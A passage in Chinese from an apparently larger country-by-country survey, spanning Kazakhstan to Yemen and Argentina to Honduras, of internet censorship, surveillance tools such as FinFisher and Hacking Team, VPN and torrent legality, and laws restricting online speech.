哈萨克斯坦

哈萨克斯坦的互联网受到政府的封锁。2017年，超过30,000个网站被封锁。封锁的借口是与极端主义、恐怖主义、暴力和色情有关的内容。

其他网站也已被禁止，例如 Ustream，Flickr，Steam 和很多国际媒体。

出于政治原因，社交媒体和消息传递应用程序也会受到限制。2014年，禁止了允许用户绕避封锁的工具和应用。从那时起，其中一些已被完全阻止，例如 IPVanish。Tor 的网站也受到了影响。

外界对哈萨克政府的监视能力知之甚少。一位不愿透露姓名的内部知情人士说，有计划启动内容监视系统，而监视公司 **Hacking Team** 泄漏的电子邮件表明，政府可能已经购买了监视和拦截软件。

最近，主要的浏览器阻止了哈萨克斯坦政府的间谍活动。

哈萨克斯坦宪法保障言论自由，但实际上受到限制。如果被认为散布虚假信息或谣言可导致重罪，并根据刑法最高可判处**10**年徒刑。

同一法律还禁止侮辱总统。最高可判处两年监禁。

根据2018年颁布的所谓媒体法，在该国已经不可能留下匿名评论。博客和新闻工作者的工作面临暴力和恐吓。许多人自我审查以避免报复。媒体大多是国有的，独立的媒体受到恐吓。

科威特

科威特的互联网已由通信部和ISP全面过滤。被怀疑批评政府或伊斯兰教、支持恐怖主义、被视为不道德或政治敏感、被视为破坏或冒犯社会价值观的一切网站，都会被封锁。色情和 LGBT 内容以及与毒品、烟草或酒精有关的任何东西，也都被阻止。

VoIP 服务在科威特是非法的。ISP 被勒令封锁 YouTube，但一周后仍可使用。尽管没有最新报道，但2008年有20个洪流网站被阻止。

网吧所有者会记录用户的详细信息，并且有报告称一些网吧因存在用户访问被禁止的内容而失去了营业执照，这表明政府已经在进行监控。

2008 年宣布了旨在监视和监管网站和博客的法律。有关政府启动监视系统的报道也已发布。

宪法保障言论自由，但是其他规则对此加以限制。

网络犯罪立法将某些活动定为犯罪，这可能导致大量罚款和入狱。批评或侮辱王室或伊斯兰教会导致入狱。许多人都被逮捕被监禁。

政府宣布组建一个委员会，负责处理2017年违反规定的社交媒体用户。尽管科威特拥有波斯湾最直言不讳的媒体环境之一，但是记者仍对某些主题进行自我审查。

老挝

没有关于老挝互联网被封锁或过滤的报告，但是，当局明显在监视社交媒体以打击批评家。另外，据报道，政府已在监视工具上进行了投资。

当局以法律恐吓异议人士。许多用户和新闻工作者都实行自我审查。媒体几乎都是国有的，而那些独立的媒体则主动避开某些报道。

黎巴嫩

黎巴嫩政府有时会限制该国某些地区的移动和互联网连接，这是《电信法》允许这样做的。VoIP服务受同一法律的限制，但执行不多。

许多网站被封锁，包括赌博、护送服务和色情网站，以及宗教网站，侵犯版权的网站以及与LGBT主题相关的网站。

任何LGBT相关的内容都违反刑法第534条，该条将同性关系定为犯罪。

黎巴嫩的隐私立法薄弱，其中不包括私人数字通信。《电信拦截法》允许政府在司法监督下监视通信，只要声称 “打击恐怖主义，国家安全和相关犯罪”。由于法律框架的原因，可以进行大规模监视。

政府已经使用诸如 **FinFisher** 之类的间谍软件对公民进行监视。

据报道，2018年，一个主要的监视程序 **Dark Caracal** 正在贝鲁特的维稳机构内运作。它具有国家级监视功能，可以提取消息和呼叫，下载应用程序，上传文件并监控所有通话。

黎巴嫩宪法保障言论自由，但是其他法律对其加以限制。根据刑法，诽谤是刑事犯罪，最高可判处一年徒刑。批评政府官员、总统、总理和许多其他人的个人和新闻记者已被逮捕和起诉。

马来西亚

马来西亚的互联网在某些内容上存在限制，例如色情和赌博。洪流网站、约会网站和涉及在线欺诈的网站也被阻止。

专注于马来西亚政治内容的类似 Instagram 的网站 Jinggo Fotopages、以及其他性质类似的网站，也被封锁，这表明某些审查是出于政治动机的。人们可以使用社交媒体，但是政府可以删除任何敏感的或批评政府的帖子。

马来西亚法律禁止发布反伊斯兰教内容，被判有罪的人可能会受到罚款或监禁，有时两者兼而有之。在一个案例中，一名马来西亚公民因在社交媒体上被认为侮辱伊斯兰教而被判处**10**年以上徒刑。

马来西亚的监视范围尚不清楚，但是有证据表明，隐私保护很差。公民实验室报告说，间谍软件 **FinFisher** 在马来西亚服务器上被发现。

言论自由受到某些法律的限制。《煽动叛乱法》禁止任何反对马来西亚统治者的行为。它还禁止煽动对种族和宗教的仇恨。处以罚款或最

高7年监禁。根据刑法，诽谤是刑事犯罪。人们也因在线发言而被逮捕和起诉。

尼泊尔

根据新的刑法和民法，2018年有超过25000个网站被封锁。其中包括禁止使用、广播和发布色情内容的规定。违者最高可被判处一年徒刑。

2019年2月起草了一项针对“不当”使用社交媒体的严厉处罚措施的立法。在该法案下，如果社交媒体平台未能在尼泊尔注册，则可能会遭到封锁。

尼泊尔没有保护网络中立性的规则。

在该国，有关在线监视的信息很少，但在2011年，有关部门下令 ISP 监视用户的活动。针对所有使用每秒1兆位或更高带宽的用户收集信息。

尼泊尔宪法规定言论自由，并且随着政治稳定，对敏感话题的讨论也在扩大。不过，记者仍会面临逮捕和袭击，尤其是在选举等特定时期。

此外，被视为诽谤性的内容和所谓的危害国家主权的内容发布将受到最高五年的监禁和150万尼泊尔卢比（13600美元）的罚款。不过近年来媒体自由已经得到了一些扩展，部分记者已经敢于报道腐败等话题。

朝鲜

只有一半朝鲜居民能上网，但这些人也只能访问政府建立的内部网 Kwangmyong，在该网络中，只有很少的网站能得到批准和访问。大多数西方内容都被阻止。

朝鲜人可以访问的有关其国家和世界的信息受到严格限制。外国游客可以使用3G移动网络，但会被监控连接。VPN被禁止，违法者将受到处罚。

监视在朝鲜无处不在。该国拥有对通讯的全面控制权，并能够通过监视程序监视其公民。线人监视网络也是无处不在的。

对政治犯罪的处罚很严厉，该国设有政治犯集中营。媒体是国有的，

有严格的监视和审查制度。

阿曼

阿曼互联网受到严格控制。任何与色情，LGBT话题和非法毒品有关的东西都将被阻止。约会网站已被屏蔽。ISP严格限制用户的操作，对不服从者的惩罚包括终止其使用网络的权利。

VoIP服务被禁止，任何发现提供此类服务的人都可能面临监禁和罚款。某些VPN也被禁止。仅允许政府批准的**VPN**，但是它们会保留您的活动日志。被发现使用被禁止服务的个人将被罚款 **500**阿曼里亚尔（**1,300**美元）。

据报道，阿曼监视私人通信。任何被发现批评政府的人都可以通过其**IP**地址追踪到。

网吧必须遵守严格的规则。他们必须使用经过批准的设施，让主管可以看到所有计算机屏幕。还必须安装代理服务器以监视和保留用户的活动。

阿曼的宪法保障言论自由，但是受到法律的限制。禁止反对该国统治者或政府的任何批评言论。由于被捕和被起诉的风险，很多人保持自我审查。政府可以审查出版物、关闭媒体机构并起诉违反内容的任何记者。

巴基斯坦

巴基斯坦互联网受巴基斯坦电信管理局监管。过滤和阻止是通过关键字实现的。

当局在新闻媒体、人权网站，色情内容以及与政治异议或批评伊斯兰教有关的任何内容上均设置障碍。

社交媒体和消息传递应用程序有时会被阻止。YouTube 在2012年因反伊斯兰影片引发抗议而被封锁。Google 推出了本地版本的内容被认为适合巴基斯坦用户使用后，它于2016年再次可用。

据报道，自2005年以来就开始进行大规模监视，并且在过去几年中一直在扩大。《电子犯罪预防法》允许与国际机构共享数据并进行监视。**ISP**也必须将流量数据保留一年。已经找到该国使用 **FinFisher** 监视技术的证据。政府可以监视通信，并且必须实名注册 **SIM**卡。

过去，VPN被禁止以试图阻止公民绕避封锁。诸如海盗湾和KickassTorrents 之类的洪流网站也被 ISP 禁止。

在线言论自由受到严格法律的限制。诽谤最高可判处五年徒刑。社交媒体用户如果被认为在 Facebook 上发布仇恨言论将被处以巨额罚款和监禁。亵渎神灵会导致死刑，甚至只是点赞了亵渎神灵的内容也可能带来死刑。

博客作者和记者由于害怕而进行自我审查，尤其是在涉及诸如宗教，军民关系，抗议，LGBT问题和妇女权利等话题时。在一个案例中，五名重要的博客作者失踪，其中有人遭受酷刑，有人被关押了更长的时间。

菲律宾

菲律宾互联网大部分是自由使用的。社交媒体和消息传递应用程序也可以自由使用的。不过，国家电信委员会命令 ISP阻止色情内容。另外，《网络犯罪预防法》禁止盗版，并处以罚款和监禁。ISP也必须阻止侵犯版权的网站。

英国向菲律宾出售了间谍软件技术，可用于监视互联网活动。其他泄露的文件表明政府致力于监视通信。

言论自由是《大宪章》中保障菲律宾互联网自由的一项公民权利。但是，根据所谓的《网络犯罪预防法》，在线诽谤将受到严厉的刑罚。

卡塔尔

卡塔尔互联网受到过滤器和数据阻塞的限制。大多数人不得不与该国的主流宗教和政治观点保持一致。色情、约会网站、LGBT内容、甚至性健康资源都被阻止。批评伊斯兰教或政府的任何内容都会遭到封锁。

某些VoIP服务被阻止。政府声称这是因为他们没有卡塔尔的经营许可证。WhatsApp是被阻止的服务之一，但是据报道它已经可用。VPN是合法的，但某些提供商的网站已被阻止。一些洪流网站，例如海盗湾，也已被屏蔽。

有证据表明，卡塔尔政府监视公民的设备。**Wikileaks** 透露，政府在间谍软件 **FinFisher** 上花费了超过**300**万卡塔尔里亚尔（合**82.4**万美元）。另一份报告说，政府监视网站、电子邮件和聊天室。

发布被视为冒犯性材料的网站会被阻止。其中可能包括批评伊斯兰教、批评政府政策或统治家族的任何内容。

人们可能因言语损害某人的声誉而惹上麻烦，如果被指诽谤最高可判处一年徒刑或罚款，如被指侮辱将根据刑法予以处罚。立法的广泛性导致自我审查。

俄罗斯

俄罗斯的互联网审查得到了广泛实施。

不仅儿童色情和毒品，与公开示威或集会、政治反对派、LGBT问题和乌克兰冲突有关的网站也会被封锁。

超过**1000**万个网站被阻止，并且，许多网站也因为“不受欢迎”而被封锁。Telegram 因不遵守 Yarovaya 法律而在2018年被封锁。其他通讯应用程序，例如微信和Zello，也被阻止。ISP被命令在2017年阻止盗版网站。

为了阻止用户访问违禁内容，政府仅允许使用被批准的VPN。同意限制用户访问被禁止网站的VPN提供商才可以继续运行。许多人拒绝遵守，因此被处以罚款。

在对VPN的另一次打击中，Roskomnadzor 向VPN提供商发送了电子邮件，命令他们对某些网站实施阻止。但是，没有一种**VPN**愿意合作。

法律不允许社交媒体和通信平台的用户保持匿名。Yarovaya 法允许当局访问任何想要的数据。元数据由网站和平台存储，主管部门无需法院命令即可访问元数据。

除了政府要求封锁的内容之外，2016年批准了一项禁止ISP私自限制或阻止网站的法规，并有效保护了俄罗斯的网络中立性。

根据刑法，在网上挑衅分裂或极端主义可能会导致五年监禁，煽动仇恨可能导致六年监禁。该守则还惩罚诽谤并呼吁恐怖主义。在线活动已导致1000多个刑事案件。互联网用户受到起诉。

沙特

沙特阿拉伯的互联网不是自由的。许多网站和内容都被阻止。任何被认为有害的、反伊斯兰的或令人反感的东西都可以被阻止。无辜的网

站有时也可能会被抓住。另外，与色情、毒品和赌博有关的内容也受到限制。

人权和政治内容、持不同政见者的言论、什叶派宗教和非法政党也被封锁。社交媒体是可以访问的，但是已施加严格限制以阻止所谓的极端主义组织使用它们。博客、论坛和聊天室需要许可证才能运行。

一些VPN的网站也被封锁。

盗版是非法的，2012 年颁布的《不正当竞争法》以打击盗版。分发了受版权保护的材料的网站（例如“海盗湾”）已被阻止。

当局监视所有网站、社交媒体、聊天室和消息通讯。一位安全专家说，电信公司 Mobily 通过电子邮件与他联系。该电子邮件的标题是“用于监视电信中加密数据的解决方案。”这是为了组织一个监视程序，该程序可以拦截社交媒体和消息传递应用程序上的移动数据。

也有报道称政府投资了间谍软件公司 **Hacking Team**。

言论受到许多法律的限制，人们对在社交媒体和其他网站上发布的内容保持谨慎。不允许批评沙特王室，根据刑法，可以将其他言论定为刑事犯罪，例如侮辱国家声誉。《反网络犯罪法》对某些言论规定了严厉的监禁和罚款。

- 《硅谷充斥着中国和沙特的资金，有谁关心？》

新加坡

新加坡政府从1996年开始对内容进行监管，被认为与赌博和色情内容有关的网站被封锁。高等法院也命令 ISP 封锁盗版网站。

隐私没有被宪法承认，权威机构有着广泛的监视权。

新加坡拥有完善的监视系统，可以监视数字通信。《计算机滥用和网络安全法》允许在任何被视为“威胁国家安全”的情况下从任何计算机收集信息，包括实时收集信息。**FinFisher**监视技术也在该国找到。

宪法规定了表达自由，但它有其局限性。《煽动叛乱法》禁止仇恨或蔑视政府或仇视种族或人口阶级的任何言论。违者处以最高三年的有期徒刑。如果被认为基于种族或宗教信仰伤害了他人的感情，也会受到刑法的惩罚。

刑法也将诽谤定为犯罪，但大多数诽谤诉讼是在民事层面上进行的。许多博客作者被要求为他们的写作内容道歉或直接被关闭博客。一些人被逮捕和起诉。

韩国

韩国的互联网审查是通过两个委员会实施和监督的，这些委员会命令ISP阻止某些内容。但是，应该阻止什么内容的定义非常模糊，边界宽泛。

被认为违反法律或社会规范的内容以及威胁国家安全或公共道德的内容均被阻止。色情内容是非法的，因此被阻止；与赌博、非法食品和药品以及淫秽有关的内容也被阻止。《国家安全法》禁止赞扬或宣传朝鲜的内容。

2018年，洪流网站被封锁，其运营商被捕。VPN可合法使用。

政府被指控通过 **KakaoTalk** 监视他人。2015年泄露的文件显示，国家情报局从 **Hacking Team** 购买了监视软件。由于有反恐法，NIS可以随意访问个人信息。

韩国宪法保障言论自由，但是有限制。任何人赞美或对朝鲜表示同情都将被判处七年徒刑。在线诽谤是一种刑事犯罪，最高可判处7年徒刑或罚款5000万韩元（45000美元）。

叙利亚

叙利亚阻止了各种网站。到2017年底，当局已经解除对维基百科和包括半岛电视台在内的许多媒体网站的封锁，但是与反对派、人权、官方腐败的曝光、动员抗议、和批评政权有关的任何内容都可被封锁。

社交媒体是可用的，但 Facebook 和 YouTube 曾经被阻止。Skype 经常受到限制或阻塞。在线安全软件、规避工具和匿名通信应用程序也被阻止。

2014年，卡巴斯基实验室（Kaspersky Labs）透露，有**10000**名叙利亚人的计算机感染了监视恶意软件。另外，公民实验室报告说，人们被从下载合法程序的网站重定向到充满间谍软件的钓鱼站点。

言论自由受到叙利亚法律的压制。互联网用户和记者已被捕。诽谤可判处有期徒刑。任何在网上煽动犯罪的人都将面临最高三年的监禁和最高**25**万叙利亚镑（**600**美元）的罚款。

叙利亚对于互联网用户、博客作者和记者来说是危险的国家。许多人被绑架、俘虏并被杀害。

台湾

台湾互联网上有关审查制度的信息很少，但该国知识产权局起草了立法，允许在某些网站的IP地址和DNS级别进行屏蔽。

另外，2009年，批准了禁止P2P技术的立法，以防止非法分发受版权保护的内容。使用VPN是合法的。

台湾人权协会报告说，台湾一直在进行通信监视，并在此过程中获取社交网络内容和元数据。

公民可以进行公开讨论，媒体报道的环境也多种多样。如果媒体所有者利用中国公司做广告或与中国的企业建立联系，可能会影响他们的报道或鼓励对敏感话题进行自我审查。此外，网站立场可能会偏向两个政治阵营之一。

泰国

泰国的王室是神圣的，人们被要求必须尊重王室。因此，当局可以阻止任何反对王室的信息。泰国的互联网也有其他限制。禁止包含色情内容、在线赌博和政治博客的网站。可以使用社交媒体，但是政府对其进行监视。

某些ISP必须取消发现的侵犯版权的内容。已经至少三人因通过网站提供无执照内容分发而被捕。

提供绕行工具（例如 VPN）的网站在某些时候被阻止。

官员可以命令个人对其计算机数据进行解码，而无需法院命令。泰国在**2012**年至**2014**年之间从 **Hacking Team** 购买了间谍软件。此外，泰国还拥有从瑞士和英国进口的电信拦截设备的许可证。

批评君主制的任何言论都将导致被起诉。那些批评国家和平与秩序委员会的人会受到监视，当局可以监视社交媒体。自2018年以来，分享重要的社交媒体帖子也可能导致被捕。

土耳其

在线审查在土耳其盛行。ISP必须使用关键字过滤来阻止包含某些内

容的网站。在2016年，超过100000个网站被阻止。任何被认为诽谤伊斯兰教、宣扬无神论、或批评总统埃尔多安的内容都遭到封锁。

与儿童性虐待、卖淫、毒品、淫秽、赌博、自杀、危险物质以及对国家创始人阿塔图尔克（Ataturk）不敬的任何内容都会被阻止。新网站有时会被直接过滤掉。政府不喜欢的清单不断增长。

可以使用社交媒体，但是它受到政府的监控，并且过去一直被禁止。在揭露腐败的内容发表后，Twitter 被禁止。Facebook、WhatsApp 和 YouTube 也被封锁或限制。

土耳其拟定了一项法律草案，以阻止洪流网站和平台。海盗湾也被禁止。不过该国的版权法是针对共享此类内容的人的。政府在2018年宣布了一系列新的**VPN** 禁令，许多提供商被封锁。

泄漏的电子邮件表明，警察部队与监视公司 **Hacking Team** 签有合同。它在**2011**年**6**月至**2014**年**11**月期间向 **Hacking Team** 支付了**600000**美元。根据《修订国家情报法》和《国家情报组织法》，当局可以在没有司法监督的情况下监视通信数据。

言论自由受宪法保护，但是也有条款将诽谤定为犯罪。处罚包括罚款和监禁。其他法律的广泛定义可能导致不必要的起诉，欧盟对此提出了批评。

土库曼斯坦

土库曼斯坦的互联网受到管制，许多公民无法使用。属于人权组织的网站和某些媒体都被封锁。另外，许多公民只能访问被称为 Turkmenet 的审查后的版本。

社交媒体平台，包括 Facebook、Twitter 和 YouTube，也已被屏蔽。自2015年以来，VPN被禁止，以阻止公民访问外国媒体。那些尝试使用VPN的人可能会被断网。Google Play 商店已被阻止。

政府对其公民进行监视。据报道政府与一家供应监视设备的德国公司举行了会议。政府也寻求能够监视和阻止通信的技术。这将使土库曼斯坦也能够阻止互联网访问。在该国也发现了 FinFisher 间谍软件。

也有报告称，当局可以使用特殊软件窃听 VoIP 呼叫。

由于国家的监视能力，言论自由受到限制。对于那些在网上发布有关政府的批评意见的人将受到惩罚。媒体受到限制，记者面临骚扰、虐

待、拘留和起诉。

阿联酋

阿联酋的互联网受到封锁和过滤，大部分针对文化或宗教方面政府不喜欢的内容。ISP必须屏蔽与恐怖主义，色情，LGBT主题，赌博和约会有关的所有内容。任何宣传非法毒品、政治讨论或具有威胁网络安全的内容的行为也都可以被阻止。

出于维稳方面的考虑，VoIP以前被阻止。后禁令被取消，但是当局表示将监视VoIP活动。

只要您不将VPN用于违法行为，那么使用VPN 就是合法的。换句话说就是，如果您使用VPN来查看被阻止的网站，则会违反法律，并可能受到严厉的惩罚。

处罚包括被驱逐出境，在一个案例中，一名在阿布扎比的外籍人士被判入狱六个月，并被罚款 50000 迪拉姆（合13,612美元），原因是他们制作了电影和表演的种子并将其上传到网站上，此后遭到封锁。

阿联酋当局实施审查和监视。他们购买了监视设备，阿布扎比于**2016**年启动了民用监视系统 **Falcon Eye**。

作为名为Raven计划的一部分，⚠ 阿联酋在前美国情报人员的帮助下进行了监视。不仅渗透**iPhone**，而且还使用 **FinFisher** 间谍软件。

- 《美国间谍帮助阿联酋侵犯人权一事提醒了什么》
- 《美国黑客团队和阿联酋间谍合作计划攻击报道斯诺登文件的媒体机构 TheIntercept》

由于限制性法律和法规，新闻媒体经常拒绝报道有争议的问题，新闻记者实行自我审查。所谓的网络犯罪和反歧视法律惩罚某些网上活动，两者都对违反规则者处以严厉的惩罚。

侮辱宗教符号或冒犯国家及其统治者的任何言论都会受到惩罚。当地人和外国人因社交媒体帖子而被拘留。一名男子因被指控发布有关阿联酋的虚假信息并在社交媒体上煽动仇恨而被判有罪。他被判处**10**年徒刑，并罚款**100**万迪拉姆（合**270000**美元）。

乌兹别克

乌兹别克斯坦互联网受到限制，VoIP 服务在2015年被封锁，许多人

转向了VPN。WhatsApp、Skype 和 Viber 等服务于2018年中期再次可用。由于中央连接和国有电信市场，政府可以并且已经关闭了互联网。

当局实施阻止和过滤针对政治和人权内容以及国际媒体。搜索引擎也用于审查搜索结果。

可以使用社交媒体，但用户访问 Facebook 时遇到问题，YouTube 于2018年10月被阻止。据报道，互联网暂时中断，有些人认为这是由于政府安装了监视设备。

在乌兹别克的宪法保障书面沟通和电话交谈的隐私，但是它没有明确保护公民的数据。此外，没有禁止监视的规则，这意味着维稳部门可以根据需要进行监视。

政府间谍机构设有监控中心，可以访问公民的互联网活动。**ISP**必须安装监视设备（例如**SORM**）才能获得许可证。2015年泄漏的文件显示，乌兹别克斯坦已收到间谍软件公司 **Hacking Team** 的监视系统。

宪法保护言论自由，但执行很差。虽然自总统 Shavkat Mirziyoyev 于2016年接任以来，媒体一直在报道更多的政治和敏感话题，一些被拘留的记者已获释。尽管如此，环境仍然受到限制，记者和博客作者因其工作而面临报复。

越南

越南互联网自由受到限制。许多网站都被普遍过滤所阻止。当局可以阻止被视为威胁越南共产党统治的任何内容，例如政治异议、倡导人权和民主的内容以及对政府的批评。宣传某些宗教的内容也被阻止。

社交媒体和消息传递应用程序有时会被阻止，尤其是在抗议期间。信息和通信部已与 **Facebook** 合作，删除了重要帐户。**Google** 也遵守了审查要求。

《网络安全法》要求技术公司与国家机构共享用户数据，即使未经用户同意也是如此。**FinFisher** 监视技术也在越南的服务器上找到。网吧所有者必须安装跟踪和存储有关其客户在线活动信息的软件。

越南宪法规定了言论自由，但实际上受到限制。互联网用户和新闻工作者可能会受到刑法、出版法和所谓的国家秘密保护法的惩罚。评论家和言论自由提倡者已入狱。大多数媒体都是国家控制的，政府会密

切关注出版物。

也门

也门受到内战的困扰已经有几十年了，但是最近的冲突是由于政治过渡的失败。

冲突导致互联网被关闭。后来恢复了，但社交媒体和消息传递应用程序也被阻止，而且似乎仍然受到限制。与前总统和他所建立的政党有关的组织的网站也被封锁。也门人口中只有23%是互联网用户。

没有关于政府在线监视的报道。

自由言论受到限制，特别是自内战之初的2015年起，记者和人权捍卫者面对暴力、其中一些人已经失踪。媒体进行自我审查，一些新闻网站被封锁。

—— 美洲 ——

「图」

阿根廷

阿根廷的互联网通常是自由的，并且可以访问社交媒体和新闻媒体。其宪法保障言论自由和总统令中规定的在线自由。

网络中立性受《数字阿根廷法》第56条和第57条保护。它建立了用户的权利，并禁止ISP歧视或阻止内容。对VPN的使用没有限制，但是某些包含受版权保护的内容的共享网站已被阻止，包括 The Pirate Bay。

尽管一般来说，监视需要法院命令，但有证据表明，当局可能是非法进行监视的。**2015**年泄漏的电子邮件表明，间谍软件公司 **Hacking Team** 与和阿根廷当局合作的公司之间进行了沟通。他们对 Hacking Team 的软件表现出了兴趣，但没有购买的证明。

伯利兹

伯利兹人口的一半以上已连接到互联网，可以自由访问大多数内容。政府在新闻发布之前会对内容进行审查，这意味着公民只能查看政府希望他们看到的内容。

伯利兹的宪法规定了言论自由，政府声称尊重言论自由。但是只要声称“国家利益”，执法机构就可以随意拦截] 任何在线通信，一般情况下只能在司法机构的监督下进行。没有有关侵犯版权的确切法律程序，洪流在伯利兹并不是非法的。VPN的使用也是合法的。

玻利维亚

玻利维亚存在互联网审查，特别是针对新闻界和社交媒体的审查。玻利维亚的宪法保护言论自由，但是对于批评政府的内容，通常会受到刑法和所谓的新闻法的惩罚。记者们因为害怕遭到报复而进行自我审查。

尽管可以使用社交媒体，但总统埃沃·莫拉莱斯（Evo Morales）已考虑对其进行审查，因为推文被视为对总统声誉的威胁。此举遭到了强烈反对，并被迫放弃了计划，但是异议人士的名字依旧被收集和保留了。

没有可靠的政府监视报告，但是当局很可能一直在监视社交媒体、新闻和其他信息来源，他们声称“打击诽谤”。

由于对洪流没有任何限制，因此玻利维亚的盗版水平很高。第1322号法律管辖版权，但其主要针对那些为了牟利而复制受版权保护的内容的人。VPN的使用没有任何限制。

巴西

巴西的互联网自由程度正在改善。社交媒体和网站可自由访问。但是WhatsApp 已经多次被阻止。Marco Civil da Internet 法律对网络中立性进行了保护，但是某些移动服务提供商制定了针对某些应用程序或服务的特殊计划。

言论自由]是一项宪法权利，但是选举期间就会受到限制。法律规定将诽谤和亵渎行为定为犯罪，如果被指控侮辱某人或侵犯某人尊严将导致长达六个月的监禁，还要加上罚款。当局可以指示删除社交媒体或博客上的重要内容，而新闻记者可能会因害怕被报复而实行自我审查。

侵犯版权的法律已经到位，个人也因此受到起诉。不过VPN的使用是合法的。

“民用互联网法案”规定了保留数据的任务。**ISP**必须将用户的日志记录保存**12**个月，但是法律规定，这些日志只能用于司法目的。政府以

重大事件（例如奥运会）和打击犯罪为借口，以增加监视力度。

加拿大

加拿大的互联网是基本自由的，但对儿童色情内容有限制。一个名为 Cleanfeed Canada 的项目也会阻止在国外托管的此类内容。

加拿大有一部完善的隐私法 PIPEDA，法律规范了私人部门收集和使用个人信息的方式。PIPEDA仍然允许与加拿大政府共享信息。

2015年的反恐法给予了政府更多的权力，政府机构可以收集和分享个人信息，即使不并涉及恐怖主义。引入C-59法案是为了解决原法律中的某些问题，但它仍然具有侵入性。**FinFisher** 服务器在加拿大找到。并且众所周知加拿大是五眼联盟的一部分。

电信监管政策和电信决策保护网络中立性。加拿大宪法保护言论自由，但是也有限制。根据《刑法》，所谓的仇恨言论和诽谤可导致监禁。

洪流没有任何限制，但是ISP可以将通知发送给违反版权法的客户。处罚包括最高5000加元（3700 $）的罚款。

智利

智利人享有不受限制的互联网服务，2010年，智利成为第一个将网络中立原则纳入其立法的国家。

社交媒体的使用非常广泛。智利宪法保障言论自由，这一点普遍得到尊重。但是有些法律将侮辱和诽谤定为刑事犯罪，主要受影响的是新闻工作者。

智利当局监视着有关儿童色情制品和性犯罪的网站，但是没有证据表明监视是出于其他目的。如果声称国家安全就可以拦截通讯，但需要在司法监督下进行。

洪流没有任何限制，智利的版权法主要针对出于经济利益而侵犯版权的人。尽管如此，法律限制仍然存在，违反行为可能会导致罚款或入狱。

哥伦比亚

内容拦截或过滤在哥伦比亚并不常见，并且可以使用社交媒体。仅对

某些内容（例如儿童色情内容）强制实施屏蔽。该国支持网络中立，坚持应予以保护。

不过言论自由是另一回事。记者可能会受到威胁、袭击、甚至谋杀，因此许多记者会避免报道腐败、暴力和毒品等话题。诽谤处罚包括罚款和最高六年的监禁。

侵犯版权将受到严厉的处罚，并且不包括任何合理使用的标准，因此，如果要下载受版权保护的内容，请务必谨慎。但是，使用VPN是合法的。

哥伦比亚政府、军队、警察和其他情报机构都有监视公民的历史，记者正在继续尝试进行调查。

哥斯达黎加

尽管其网络犯罪法引起了活动家的批评，被指责是对互联网自由的威胁，但哥斯达黎加人享有基本不受限制的互联网访问。言论自由是一项基本权利，受到尊重。只是目前还不知道政府是否参与监视。

哥斯达黎加是拉丁美洲盗版率最高的国家之一，被称为洪流网站的避风港。该国使用通知系统，其中权利人通知ISP，而ISP通知侵权者。可以说这是最低限度的强制执行。

古巴

几乎所有公民权利和政治权利都被剥夺，公民因任何形式的异议而受到惩罚。数十年来一直如此，互联网也一样。

在线言论受到限制，持不同政见的博客作者受到严厉的处罚，被罚款、监禁和没收设备。新闻媒体和人权相关的内容以及政府不认可的其他内容都可能被阻止。

可以访问社交媒体，但只能通过某些公共访问点访问，Skype 被阻止。交通数据和用户信息由被称为 Avila Link 的软件收集，如果用户违反了古巴电信公司的条款，将被终止访问权。禁止使用**VPN**，并监视连接。

侵犯版权在古巴很盛行，几乎所有您想要的东西都有黑市。当局没有太多注意版权问题。这里甚至可以播放盗版的电视节目和电影。盗版对不断发展的游戏文化特别有吸引力，因为一款游戏的价格通常可能会比古巴人一个月的平均工资还要高。

多米尼加共和国

多米尼加共和国的用户可享受未经审查的互联网，并且没有可信的报告表明政府对人们进行了非法监视。

那里的宪法规定了言论自由，一般来说，讨论话题不至于担心报复。但是，一些新闻记者受到了当局的威吓，这导致了一些自我审查。

尽管诽谤法并未明确适用于网络，但可以解释为适用。在该国的法律中诽谤是刑事犯罪，可能的惩罚包括罚款或监禁。对种族或宗教的诽谤或对多米尼加共和国总统的冒犯将判处更高的刑罚，后者可能导致某些公民权的丧失。

盗版属于刑事犯罪，可能会被处以最高三年的罚款和监禁。不过很少被强制执行，并且VPN的使用是合法的。

厄瓜多尔

厄瓜多尔的在线自由很糟糕，一场关于在线媒体自由、抵制内容操纵和对政府批评者的骚扰的战争持续进行中。前政府所使用的某些镇压机制仍然存在，仍然可以使用。

网站和社交媒体可自由使用。洪流网站的某些域已被禁止以打击盗版，但版权执法并不严格。

该国宪法规定言论自由，但是经常受到侵犯。点评官员的内容或认为包含诽谤时会被定期删除。当局可能会起诉个人和记者，许多人已受到《刑法》第396条的惩罚，这可能导致最高30天的监禁。

关于新闻自由的典型案例是 Julian Assange。他是跨国媒体 WikiLeaks 的创始人。在 Assange 多次揭露厄瓜多尔政府腐败内幕之后，厄瓜多尔撤回了阿桑奇的庇护地位，随后他被英国警察逮捕。他现在面临多项指控。

尽管厄瓜多尔支持网络中立原则，但是《电信法》删除了不歧视的概念。第64条允许ISP建立特殊计划。

该国政府进行广泛的监监视，监视博客、网站和社交媒体。有证据表明，情报机构 **SENAIN** 与监视工具供应商 **Hacking Team** 之间存在交易。它还要求 **Hacking Team** 建立一个全国范围的监视中心，以访问任何设备并拦截通信。

只要政府间谍有要求，ISP必须提供个人信息，而不会受到司法监督。

危地马拉

危地马拉的宪法规定了言论自由，但许多危地马拉人避免谈论某些问题。在报道毒品贩运、腐败、有组织犯罪和其他主题时，记者可能会受到威胁，而且许多记者实行自我审查以避免攻击。诽谤是一种刑事犯罪，最高可判处五年监禁。

宪法的修订导致各种监视技术合法化，但据信政府也参与了非法的在线监视。也有人怀疑当局在非法监视新闻工作者、人权倡导者和其他有关人员。不过，调查尚未提供可靠的证据。

许多危地马拉人有两个不同的SIM卡。例如一个可能允许访问WhatsApp，而另一个可能允许访问 Facebook。

您可以在危地马拉使用VPN，并且没有针对洪流的强制措施。

海地

尽管海地人的互联网访问比例低于许多国家/地区，但您仍然可以在全国各地找到网吧。

政府不会审查内容或封锁网站，也没有证据表明政府在没有司法监督的情况下从事在线监视或监视通信。

宪法保障言论自由，但诽谤的定义很宽泛，可能导致最高三年的罚款或监禁。诽谤诉讼主要针对记者，当记者的报道涉及有关公职人员或其他权威人士时。

这导致一些记者进行自我审查，尤其是有关毒品贩运或腐败的报道。普通公民常常因为担心遭到报复而避免讨论有组织犯罪和贩毒集团的话题。

有一些法律会惩罚那些侵犯版权的人，但是执行力很弱。如果当局要追踪相关目标，最有可能的结果就是监禁。

洪都拉斯

洪都拉斯腐败的政府和普遍的不尊重人权现象使其成为对新闻工作者最糟糕的国家之一。尽管言论自由在其宪法中受到保护，但是仍有很

多法律对其加以限制。对于举报敏感问题的人来说，惩罚是常见的，将说真话的人指责为诽谤。根据刑法将会判处一到三年的刑期。

